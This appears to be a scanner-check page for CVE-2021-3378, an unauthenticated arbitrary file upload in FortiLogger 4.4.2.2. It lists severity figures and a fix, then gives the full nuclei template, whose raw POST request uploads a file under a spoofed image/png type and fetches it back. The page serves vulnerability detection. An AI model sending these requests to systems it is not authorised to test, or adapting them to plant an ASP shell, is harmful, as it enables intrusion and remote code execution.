FortiLogger 4.4.2.2 - Arbitrary File Upload

criticalseverity

9.8CVSS score

97.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

FortiLogger 4.4.2.2 is affected by arbitrary file upload issues. Attackers can send a "Content-Type: image/png" header to Config/SaveUploadedHotspotLogoFile and then Assets/temp/hotspot/img/logohotspot.asp.

Impact

Successful exploitation of this vulnerability could result in unauthorized access, remote code execution, and potential compromise of the affected system.

Fix

Apply the latest security patch or upgrade to a patched version of FortiLogger to mitigate this vulnerability.

How to confirm it

Send: POST /Config/SaveUploadedHotspotLogoFile ; GET /Assets/temp/hotspot/img/logohotspot.txt
Positive when: contains in body_2 "{{randstr}}" AND contains in header "text/plain" and "ASP.NET" AND status 200

Run it with nuclei: nuclei -id CVE-2021-3378 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-3378

info:
  name: FortiLogger 4.4.2.2 - Arbitrary File Upload
  author: dwisiswant0
  severity: critical
  description: |
    FortiLogger 4.4.2.2 is affected by arbitrary file upload issues. Attackers can send a "Content-Type: image/png" header to Config/SaveUploadedHotspotLogoFile and then Assets/temp/hotspot/img/logohotspot.asp.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access, remote code execution, and potential compromise of the affected system.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of FortiLogger to mitigate this vulnerability.
  reference:
    - https://erberkan.github.io/2021/cve-2021-3378/
    - https://github.com/erberkan/fortilogger_arbitrary_fileupload
    - http://packetstormsecurity.com/files/161601/FortiLogger-4.4.2.2-Arbitrary-File-Upload.html
    - http://packetstormsecurity.com/files/161974/FortiLogger-Arbitrary-File-Upload.html
    - https://github.com/SYRTI/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3378
    cwe-id: CWE-434
    epss-score: 0.97512
    epss-percentile: 0.99901
    cpe: cpe:2.3:a:fortilogger:fortilogger:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: fortilogger
    product: fortilogger
  tags: cve,cve2021,fortilogger,fortigate,fortinet,packetstorm,fileupload,intrusive,vuln

http:
  - raw:
      - |
        POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
        Accept: application/json
        Referer: {{BaseURL}}
        Connection: close
        X-Requested-With: XMLHttpRequest

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
        Content-Disposition: form-data; name="file"; filename="poc.txt"
        Content-Type: image/png

        {{randstr}}

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
      - |
        GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "{{randstr}}"

      - type: word
        part: header
        words:
          - "text/plain"
          - "ASP.NET"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from